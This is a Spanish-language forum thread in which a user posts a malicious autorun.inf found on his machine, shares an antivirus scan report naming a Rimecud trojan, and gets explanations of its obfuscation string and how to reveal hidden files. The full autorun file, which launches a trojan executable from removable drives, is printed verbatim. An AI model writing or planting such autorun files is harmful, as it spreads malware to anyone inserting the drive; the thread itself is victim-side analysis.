extraño autorun

[morty2]

hola amigos, intentaron infectarme con esto, que les parece??




[autorun]
shellexecute=nocasmilimoj\\\nenijerano.exe
action=Open folder to see files using Windows Explorer
USEAUTOPLAY=1
#djkds£êÑÊÀ×ËÎÄÊÀÑÎ×ËäêôŒËÎ×ô¼ŒŠ×ô
open=nocasmilimoj\\\nenijerano.exe
icon=shell32.dll,4
shell\\\Install\\\command=nocasmilimoj\\\nenijerano.exe
shell\\\open\\\command=nocasmilimoj\\\nenijerano.exe
shell\\\explore\\\command=nocasmilimoj\\\nenijerano.exe
Shell\\\open\\\command=nocasmilimoj\\\nenijerano.exe


habia visto bastantes autorun antes pero nunca ninguno con nada parecido a

#djkds£êÑÊÀ×ËÎÄÊÀÑÎ×ËäêôŒËÎ×ô¼ŒŠ×ô

alguien que sepa me lo podria explicar??
gracias de antemano

[morty2]

encontré el archivo y me da ésto.....


File Info

Report date: 2010-12-31 19:53:34 (GMT 1)
File name: nenijerano-exe
File size: 206336 bytes
MD5 Hash: 60aedbc78bfc3285169cc78d73a591aa
SHA1 Hash: a0f2c2bd8f3594726d0ebb0c42c71df080541965
Detection rate: 5 on 16 (31%)
Status: INFECTED

Detections

a-squared - Trojan.Win32.Rimecud!IK
Avast -
AVG -
Avira AntiVir -
BitDefender - Gen:Variant.Kazy.6906
ClamAV -
Comodo -
Dr.Web -
F-PROT6 -
Ikarus T3 - Trojan.Win32.Rimecud
Kaspersky -
NOD32 -
Panda - Suspicious file
TrendMicro -
VBA32 - BScope.Trojan.MTA.0904
VirusBuster -

Scan report generated by
NoVirusThanks.org

[[Zero]]

La cadena rara es para ofuscar, eso vuelve el autorun menos detectable. Lo usan muchos gusanos:

Código [Seleccionar] Expandir

http://www.infospyware.eu/conficker-autorun.html

Saludos

[morty2]

gracias amigo.

ahora el problema es que el autorun anda por ahi y no lo encuentro!!

[skapunky]

Debe estar oculto, mira en opciones y pon que los archivos ocultos se muestren, si no sabes como hacerlo aquí te dejo una pequeña guia:

Guia para ver archivos ocultos

[Karcrack]

Ver archivos ocultos en todos los Windows

[morty2]

Esta ocultado con el comando attrib de msdos, por eso no se veía ni aun poniendo que se muestren los archivos ocultos. Eso lo e solucionado, incluso había creado claves de registro el cabr..., jeje..